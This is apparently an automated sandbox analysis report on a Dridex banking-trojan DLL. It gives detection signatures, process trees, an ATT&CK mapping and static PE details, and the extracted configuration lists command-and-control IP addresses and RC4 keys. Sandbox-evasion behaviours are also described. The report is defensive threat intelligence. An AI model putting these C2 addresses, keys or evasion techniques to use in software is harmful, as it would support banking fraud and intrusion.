Play interactive tour

Edit tour

Analysis Report 923fc959_by_Libranalysis

Overview

General Information

Sample Name:	923fc959_by_Libranalysis (renamed file extension from none to dll)
Analysis ID:	413051
MD5:	923fc9595e881586f2a68bd2305531e9
SHA1:	4fd8ea36d18b241e0123f9ba9407d33e22672f2a
SHA256:	be8afda2fa058a3162dd02469646e2276162123313ee2c4adb835e0124c07544
Infos:
Most interesting Screenshot:

Detection

Dridex Dropper

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Dridex dropper found

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Dridex unpacked file

C2 URLs / IPs found in malware configuration

Found potential dummy code loops (likely to delay analysis)

Machine Learning detection for sample

Tries to delay execution (extensive OutputDebugStringW loop)

Tries to detect sandboxes / dynamic malware analysis system (file name check)

Abnormal high CPU Usage

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to query locales information (e.g. system language)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Program does not show much activity (idle)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

loaddll32.exe (PID: 2396 cmdline: loaddll32.exe 'C:\Users\user\Desktop\923fc959_by_Libranalysis.dll' MD5: 542795ADF7CC08EFCF675D65310596E8)

cmd.exe (PID: 3176 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\923fc959_by_Libranalysis.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 2600 cmdline: rundll32.exe 'C:\Users\user\Desktop\923fc959_by_Libranalysis.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cleanup

Malware Configuration

Threatname: Dridex

{"Version": 40112, "C2 list": ["107.172.227.10:443", "172.93.133.123:2303", "108.168.61.147:8172"], "RC4 keys": ["AhGDjKatq8OVBsCNBxsJHbQSf84QZXMd170Lw0kGCrK", "ZZ9zhvNgYZKh5HVVVEDNPVdpdSY2d6pJ4ZBqsvPVEDjyOFNIkXQwmhTyNKiurfq"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.rundll32.exe.6f3e0000.3.unpack	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 2.2.rundll32.exe.6f3e0000.3.unpack

Malware Configuration Extractor: Dridex {"Version": 40112, "C2 list": ["107.172.227.10:443", "172.93.133.123:2303", "108.168.61.147:8172"], "RC4 keys": ["AhGDjKatq8OVBsCNBxsJHbQSf84QZXMd170Lw0kGCrK", "ZZ9zhvNgYZKh5HVVVEDNPVdpdSY2d6pJ4ZBqsvPVEDjyOFNIkXQwmhTyNKiurfq"]}

Multi AV Scanner detection for submitted file

Show sources

Source: 923fc959_by_Libranalysis.dll	Virustotal: Detection: 67%			Perma Link
Source: 923fc959_by_Libranalysis.dll	ReversingLabs: Detection: 89%

Machine Learning detection for sample

Show sources

Source: 923fc959_by_Libranalysis.dll

Joe Sandbox ML: detected

Source: 923fc959_by_Libranalysis.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: 923fc959_by_Libranalysis.dll

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wntdll.pdbUGP source: rundll32.exe, 00000002.00000003.271179778.000000004B280000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: rundll32.exe, 00000002.00000003.271179778.000000004B280000.00000004.00000001.sdmp
Source:	Binary string: Gsp.pdb source: loaddll32.exe, 00000000.00000002.199846409.000000006F3EA000.00000002.00020000.sdmp, 923fc959_by_Libranalysis.dll

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	IPs: 107.172.227.10:443
Source: Malware configuration extractor	IPs: 172.93.133.123:2303
Source: Malware configuration extractor	IPs: 108.168.61.147:8172

Source: Joe Sandbox View	IP Address: 172.93.133.123 172.93.133.123
Source: Joe Sandbox View	IP Address: 107.172.227.10 107.172.227.10
Source: Joe Sandbox View	IP Address: 108.168.61.147 108.168.61.147

Source: Joe Sandbox View	ASN Name: NEXEONUS NEXEONUS
Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View	ASN Name: START-CA START-CA

E-Banking Fraud:

Dridex dropper found

Show sources

Source: Initial file

Signature Results: Dridex dropper behavior

Yara detected Dridex unpacked file

Show sources

Source: Yara match	File source: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 2.2.rundll32.exe.6f3e0000.3.unpack, type: UNPACKEDPE

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 98%

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6F3F2790 NtAllocateVirtualMemory,	2_2_6F3F2790
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6F3F218C NtDelayExecution,	2_2_6F3F218C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6F3EBC00 NtClose,	2_2_6F3EBC00

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6F3F07CC	2_2_6F3F07CC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6F3F92DC	2_2_6F3F92DC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6F3E9144	2_2_6F3E9144
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6F3EA5A4	2_2_6F3EA5A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6F3E1494	2_2_6F3E1494
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6F3E84E4	2_2_6F3E84E4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6F3F14D8	2_2_6F3F14D8

Source: 923fc959_by_Libranalysis.dll

Binary or memory string: OriginalFilenameofl.dllN vs 923fc959_by_Libranalysis.dll

Source: 923fc959_by_Libranalysis.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: classification engine

Classification label: mal92.bank.troj.evad.winDLL@5/0@0/3

Source: 923fc959_by_Libranalysis.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\923fc959_by_Libranalysis.dll',#1

Source: 923fc959_by_Libranalysis.dll	Virustotal: Detection: 67%
Source: 923fc959_by_Libranalysis.dll	ReversingLabs: Detection: 89%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\923fc959_by_Libranalysis.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\923fc959_by_Libranalysis.dll',#1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\923fc959_by_Libranalysis.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\923fc959_by_Libranalysis.dll',#1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\923fc959_by_Libranalysis.dll',#1	Jump to behavior

Source: 923fc959_by_Libranalysis.dll

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: 923fc959_by_Libranalysis.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wntdll.pdbUGP source: rundll32.exe, 00000002.00000003.271179778.000000004B280000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: rundll32.exe, 00000002.00000003.271179778.000000004B280000.00000004.00000001.sdmp
Source:	Binary string: Gsp.pdb source: loaddll32.exe, 00000000.00000002.199846409.000000006F3EA000.00000002.00020000.sdmp, 923fc959_by_Libranalysis.dll

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F3E3A27 push ebp; ret	0_2_6F3E3A28
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F3E2F56 push ebp; retf	0_2_6F3E2F61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6F3EF744 push esi; mov dword ptr [esp], 00000000h	2_2_6F3EF745

Source: C:\Windows\SysWOW64\rundll32.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion:

Tries to delay execution (extensive OutputDebugStringW loop)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

Section loaded: OutputDebugStringW count: 610

Tries to detect sandboxes / dynamic malware analysis system (file name check)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: \KnownDlls32\testapp.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: \KnownDlls32\self.exE	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: \KnownDlls32\self.exE	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Window / User API: threadDelayed 610

Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_6F3F07CC GetTokenInformation,GetSystemInfo,GetTokenInformation,

2_2_6F3F07CC

Anti Debugging:

Found potential dummy code loops (likely to delay analysis)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 90% for more than 60s

Source: C:\Windows\System32\loaddll32.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_6F3E6DC8 GetUserNameW,MessageBoxW,GetLastError,CreateFileA,DebugBreak,FlushFileBuffers,FreeEnvironmentStringsA,GetConsoleOutputCP,GetEnvironmentStrings,GetLocaleInfoA,GetStartupInfoA,GetStringTypeA,HeapValidate,IsBadReadPtr,LCMapStringA,LoadLibraryA,OutputDebugStringA,

2_2_6F3E6DC8

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_6F3F3060 RtlAddVectoredExceptionHandler,

2_2_6F3F3060

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\923fc959_by_Libranalysis.dll',#1

Jump to behavior

Source: rundll32.exe, 00000002.00000002.469250303.0000000003250000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: rundll32.exe, 00000002.00000002.469250303.0000000003250000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: rundll32.exe, 00000002.00000002.469250303.0000000003250000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: rundll32.exe, 00000002.00000002.469250303.0000000003250000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: GetUserNameW,MessageBoxW,GetLastError,CreateFileA,DebugBreak,FlushFileBuffers,FreeEnvironmentStringsA,GetConsoleOutputCP,GetEnvironmentStrings,GetLocaleInfoA,GetStartupInfoA,GetStringTypeA,HeapValidate,IsBadReadPtr,LCMapStringA,LoadLibraryA,OutputDebugStringA,

2_2_6F3E6DC8

Source: C:\Windows\SysWOW64\rundll32.exe

2_2_6F3E6DC8

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection12	Virtualization/Sandbox Evasion311	OS Credential Dumping	Security Software Discovery22	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection12	LSASS Memory	Virtualization/Sandbox Evasion311	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information1	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Rundll321	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Account Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Owner/User Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	System Information Discovery13	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
923fc959_by_Libranalysis.dll	68%	Virustotal		Browse
923fc959_by_Libranalysis.dll	90%	ReversingLabs	Win32.Trojan.Drixed
923fc959_by_Libranalysis.dll	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
2.2.rundll32.exe.29f0000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

No contacted domains info

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
172.93.133.123	unknown	United States	20278	NEXEONUS	true
107.172.227.10	unknown	United States	36352	AS-COLOCROSSINGUS	true
108.168.61.147	unknown	Canada	40788	START-CA	true

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	413051
Start date:	13.05.2021
Start time:	07:02:24
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	923fc959_by_Libranalysis (renamed file extension from none to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal92.bank.troj.evad.winDLL@5/0@0/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 96.2% (good quality ratio 92.1%) Quality average: 78.8% Quality standard deviation: 26.9%
HCA Information:	Successful, ratio: 100% Number of executed functions: 19 Number of non-executed functions: 8
Cookbook Comments:	Adjust boot time Enable AMSI

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
172.93.133.123	4387387b_by_Libranalysis.dll	Get hash	malicious	Browse
	88ae0574_by_Libranalysis.dll	Get hash	malicious	Browse
	6c489f0f_by_Libranalysis.dll	Get hash	malicious	Browse
	11560b5f_by_Libranalysis.dll	Get hash	malicious	Browse
	d3caf501_by_Libranalysis.dll	Get hash	malicious	Browse
	0446dbd6_by_Libranalysis.dll	Get hash	malicious	Browse
	d604307c_by_Libranalysis.dll	Get hash	malicious	Browse
	801ae348_by_Libranalysis.dll	Get hash	malicious	Browse
	465a4420_by_Libranalysis.dll	Get hash	malicious	Browse
	e04d2479_by_Libranalysis.dll	Get hash	malicious	Browse
	07060522_by_Libranalysis.dll	Get hash	malicious	Browse
	651c2dd4_by_Libranalysis.dll	Get hash	malicious	Browse
	18e87211_by_Libranalysis.dll	Get hash	malicious	Browse
	c74a9dac_by_Libranalysis.dll	Get hash	malicious	Browse
	f3f12cfd_by_Libranalysis.dll	Get hash	malicious	Browse
	fcb70cbd_by_Libranalysis.dll	Get hash	malicious	Browse
	d67ecdc2_by_Libranalysis.dll	Get hash	malicious	Browse
	6f0c2867_by_Libranalysis.dll	Get hash	malicious	Browse
	6bf25c84_by_Libranalysis.dll	Get hash	malicious	Browse
	3e02fb6c_by_Libranalysis.dll	Get hash	malicious	Browse
107.172.227.10	4387387b_by_Libranalysis.dll	Get hash	malicious	Browse
	88ae0574_by_Libranalysis.dll	Get hash	malicious	Browse
	6c489f0f_by_Libranalysis.dll	Get hash	malicious	Browse
	11560b5f_by_Libranalysis.dll	Get hash	malicious	Browse
	d3caf501_by_Libranalysis.dll	Get hash	malicious	Browse
	0446dbd6_by_Libranalysis.dll	Get hash	malicious	Browse
	d604307c_by_Libranalysis.dll	Get hash	malicious	Browse
	801ae348_by_Libranalysis.dll	Get hash	malicious	Browse
	465a4420_by_Libranalysis.dll	Get hash	malicious	Browse
	e04d2479_by_Libranalysis.dll	Get hash	malicious	Browse
	07060522_by_Libranalysis.dll	Get hash	malicious	Browse
	651c2dd4_by_Libranalysis.dll	Get hash	malicious	Browse
	18e87211_by_Libranalysis.dll	Get hash	malicious	Browse
	c74a9dac_by_Libranalysis.dll	Get hash	malicious	Browse
	f3f12cfd_by_Libranalysis.dll	Get hash	malicious	Browse
	fcb70cbd_by_Libranalysis.dll	Get hash	malicious	Browse
	d67ecdc2_by_Libranalysis.dll	Get hash	malicious	Browse
	6f0c2867_by_Libranalysis.dll	Get hash	malicious	Browse
	6bf25c84_by_Libranalysis.dll	Get hash	malicious	Browse
	3e02fb6c_by_Libranalysis.dll	Get hash	malicious	Browse
108.168.61.147	4387387b_by_Libranalysis.dll	Get hash	malicious	Browse
	88ae0574_by_Libranalysis.dll	Get hash	malicious	Browse
	6c489f0f_by_Libranalysis.dll	Get hash	malicious	Browse
	11560b5f_by_Libranalysis.dll	Get hash	malicious	Browse
	d3caf501_by_Libranalysis.dll	Get hash	malicious	Browse
	0446dbd6_by_Libranalysis.dll	Get hash	malicious	Browse
	d604307c_by_Libranalysis.dll	Get hash	malicious	Browse
	801ae348_by_Libranalysis.dll	Get hash	malicious	Browse
	465a4420_by_Libranalysis.dll	Get hash	malicious	Browse
	e04d2479_by_Libranalysis.dll	Get hash	malicious	Browse
	07060522_by_Libranalysis.dll	Get hash	malicious	Browse
	651c2dd4_by_Libranalysis.dll	Get hash	malicious	Browse
	18e87211_by_Libranalysis.dll	Get hash	malicious	Browse
	c74a9dac_by_Libranalysis.dll	Get hash	malicious	Browse
	f3f12cfd_by_Libranalysis.dll	Get hash	malicious	Browse
	fcb70cbd_by_Libranalysis.dll	Get hash	malicious	Browse
	d67ecdc2_by_Libranalysis.dll	Get hash	malicious	Browse
	6f0c2867_by_Libranalysis.dll	Get hash	malicious	Browse
	6bf25c84_by_Libranalysis.dll	Get hash	malicious	Browse
	3e02fb6c_by_Libranalysis.dll	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AS-COLOCROSSINGUS	4387387b_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	88ae0574_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	6c489f0f_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	11560b5f_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	d3caf501_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	0446dbd6_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	d604307c_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	801ae348_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	465a4420_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	e04d2479_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	07060522_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	651c2dd4_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	18e87211_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	c74a9dac_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	f3f12cfd_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	fcb70cbd_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	d67ecdc2_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	6f0c2867_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	6bf25c84_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	3e02fb6c_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
NEXEONUS	4387387b_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	88ae0574_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	6c489f0f_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	11560b5f_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	d3caf501_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	0446dbd6_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	d604307c_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	801ae348_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	465a4420_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	e04d2479_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	07060522_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	651c2dd4_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	18e87211_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	c74a9dac_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	f3f12cfd_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	fcb70cbd_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	d67ecdc2_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	6f0c2867_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	6bf25c84_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	3e02fb6c_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
START-CA	4387387b_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	88ae0574_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	6c489f0f_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	11560b5f_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	d3caf501_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	0446dbd6_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	d604307c_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	801ae348_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	465a4420_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	e04d2479_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	07060522_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	651c2dd4_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	18e87211_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	c74a9dac_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	f3f12cfd_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	fcb70cbd_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	d67ecdc2_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	6f0c2867_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	6bf25c84_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	3e02fb6c_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.534905725413908
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	923fc959_by_Libranalysis.dll
File size:	165888
MD5:	923fc9595e881586f2a68bd2305531e9
SHA1:	4fd8ea36d18b241e0123f9ba9407d33e22672f2a
SHA256:	be8afda2fa058a3162dd02469646e2276162123313ee2c4adb835e0124c07544
SHA512:	df854fd22c472a4bcd525b33884af444213d3e363038bd20e07023fb546187b346cdcb706c8fe454fbea9b831d9ac17a8cc6a516f7c4d473bf876964502d09fc
SSDEEP:	3072:zmNFcsGvTmf9vOmoM0IZ5kPjBxYvdIL2KyOQaOP8+cMTH1PxsMYQnF1b1l:CLc7UtOpM1Z5k1xYO2LXjTH1pH5nF1p
File Content Preview:	MZ......................@.......................................b.?.&.Q.&.Q.&.Q.....v.Q.@k..0.Q.+.....Q.8...{.Q./...R.Q./...7.Q..C....Q./...k.Q.@k....Q.&.P...Q..C,.I.Q.H.U...Q.=.....Q..i....Q..n....Q...S.,.Q...U...Q.......Q.Rich&.Q........................

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x40974b
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x609C7F97 [Thu May 13 01:23:35 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	987b9d7dc84d935c3675da82d40e06f2

Entrypoint Preview

Instruction
mov edx, 00000000h
mov edx, 00000000h
cmpss xmm1, xmm2, 03h
sub eax, 00002233h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
cmpss xmm1, xmm2, 03h
cmp edx, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
je 00007FC4A50BA8D3h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x1001	0x1001	.text
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa71c	0x59	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2c000	0x390	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2d000	0x640	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xa04b	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
